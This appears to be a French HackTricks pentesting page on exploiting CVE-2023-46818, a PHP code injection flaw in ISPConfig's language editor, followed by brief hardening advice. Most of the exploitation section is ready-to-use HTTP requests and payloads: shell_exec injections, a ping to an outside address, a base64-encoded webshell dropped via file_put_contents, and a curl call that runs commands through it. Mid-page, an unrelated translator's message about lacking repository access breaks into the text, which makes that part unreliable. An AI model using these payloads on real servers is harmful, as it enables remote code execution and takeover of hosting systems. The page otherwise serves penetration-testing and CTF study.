ISPConfig
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Aperçu
ISPConfig est un panneau de contrÎle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle était activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la façon dont PHP est exécuté, à une élévation de privilÚges.
Key default paths:
- Web root often at
/var/www/ispconfig
when served withphp -S
or via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: If the panel is bound locally (e.g. 127.0.0.1:8080
), forward it:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Injection de code PHP via l'éditeur de langue (CVE-2023-46818)
- Affecté : ISPConfig jusqu'à 3.2.11 (corrigé dans 3.2.11p1)
- Préconditions :
- Se connecter avec le compte superadmin intégré
admin
(les autres rĂŽles ne sont pas affectĂ©s selon le fournisseur) - L'Ă©diteur de langue doit ĂȘtre activĂ© :
admin_allow_langedit=yes
dans/usr/local/ispconfig/security/security_settings.ini
- Impact : Un admin authentifié peut injecter du PHP arbitraire qui est écrit dans un fichier de langue et exécuté par l'application, aboutissant à une RCE dans le contexte web
RĂ©fĂ©rences : entrĂ©e NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section RĂ©fĂ©rences ciâdessous.
Processus d'exploitation manuel
- Ouvrir/créer un fichier de langue pour obtenir les jetons CSRF
Envoyer un premier POST pour initialiser le formulaire et parser les champs CSRF depuis la réponse HTML (csrf_id
, csrf_key
). Chemin de requĂȘte d'exemple: /admin/language_edit.php
.
- Injecter du PHP via records[] et enregistrer
Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Exemples minimaux d'exécution de commande :
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Out-of-band test (observer ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Ăcrire des fichiers et drop a webshell
Utilisez file_put_contents
pour créer un fichier dans un chemin accessible via le web (par ex., admin/
) :
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Ensuite, écrivez un simple webshell en utilisant base64 pour éviter les caractÚres indésirables dans le POST body :
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Je nâai pas accĂšs aux fichiers du dĂ©pĂŽt. Veuillez coller ici le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md que vous voulez faire traduire en français â je le traduirai en respectant les rĂšgles que vous avez indiquĂ©es.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Si PHP est exécuté en tant que root (par ex., via php -S 127.0.0.1:8080
lancé par root), cela entraßne une RCE root immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web.
Python PoC
Un exploit prĂȘt Ă l'emploi automatise la gestion des tokens et la livraison des payloads :
Exemple d'exécution:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Durcissement
- Mettre à jour vers 3.2.11p1 ou une version ultérieure
- Désactiver l'éditeur de langue sauf si strictement nécessaire :
admin_allow_langedit=no
- Ăvitez d'exĂ©cuter le panel en tant que root ; configurez PHP-FPM ou le web server pour rĂ©duire les privilĂšges
- Exigez une authentification forte pour le compte intégré
admin
Références
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 â NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.